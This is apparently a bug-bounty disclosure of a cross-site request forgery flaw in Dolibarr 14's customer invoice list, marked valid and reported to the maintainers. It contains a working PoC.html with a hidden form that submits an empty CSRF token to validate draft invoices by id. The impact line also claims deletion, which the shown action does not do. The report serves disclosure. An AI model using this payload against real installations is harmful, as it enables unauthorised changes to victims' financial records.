Cross-Site Request Forgery (CSRF) in dolibarr/dolibarr
Valid
Reported on
Jul 21st 2021
✍️ Description
In Billing | payment section the Customer invoices part, you protect invoice Statuses to any kind of modification from CSRF attacks but if I set CSRF token to nothings then I able to modify arbitrary invoice Statuses only with knowing their ids.
In this PoC.html I am able to Validate any Draft Invoices only with knowing the value of "toselect" parameter.
🕵️♂️ Proof of Concept
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.dolibarr.org/compta/facture/list.php" method="POST">
<input type="hidden" name="token" value="" />
<input type="hidden" name="formfilteraction" value="list" />
<input type="hidden" name="action" value="list" />
<input type="hidden" name="sortfield" value="f.fk_statut,f.paye,f.type,dynamount_payed" />
<input type="hidden" name="sortorder" value="desc,desc,desc,desc" />
<input type="hidden" name="search_status" value="0" />
<input type="hidden" name="contextpage" value="invoicelist" />
<input type="hidden" name="massaction" value="validate" />
<input type="hidden" name="confirmmassaction" value="Confirm" />
<input type="hidden" name="pageplusoneold" value="1" />
<input type="hidden" name="limit" value="25" />
<input type="hidden" name="pageplusone" value="1" />
<input type="hidden" name="search_sale" value="-1" />
<input type="hidden" name="search_user" value="-1" />
<input type="hidden" name="search_product_category" value="-1" />
<input type="hidden" name="search_categ_cus" value="-1" />
<input type="hidden" name="search_ref" value="" />
<input type="hidden" name="search_company" value="" />
<input type="hidden" name="search_paymentmode" value="" />
<input type="hidden" name="search_montant_ht" value="" />
<input type="hidden" name="search_montant_ttc" value="" />
<input type="hidden" name="search_multicurrency_montant_vat" value="" />
<input type="hidden" name="search_status" value="0" />
<input type="hidden" name="selectedfields" value="f.ref,s.nom,f.total_ht,f.total_ttc,dynamount_payed,rtp,f.multicurrency_total_vat,f.fk_mode_reglement,f.fk_statut," />
<input type="hidden" name="toselect[]" value="7890" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
💥 Impact
This vulnerability is capable of delete mentioned Invoices. version of application == 14 (tested on demo website)
We have contacted a member of the
dolibarr
team and are waiting to hear back
2 years ago
to join this conversation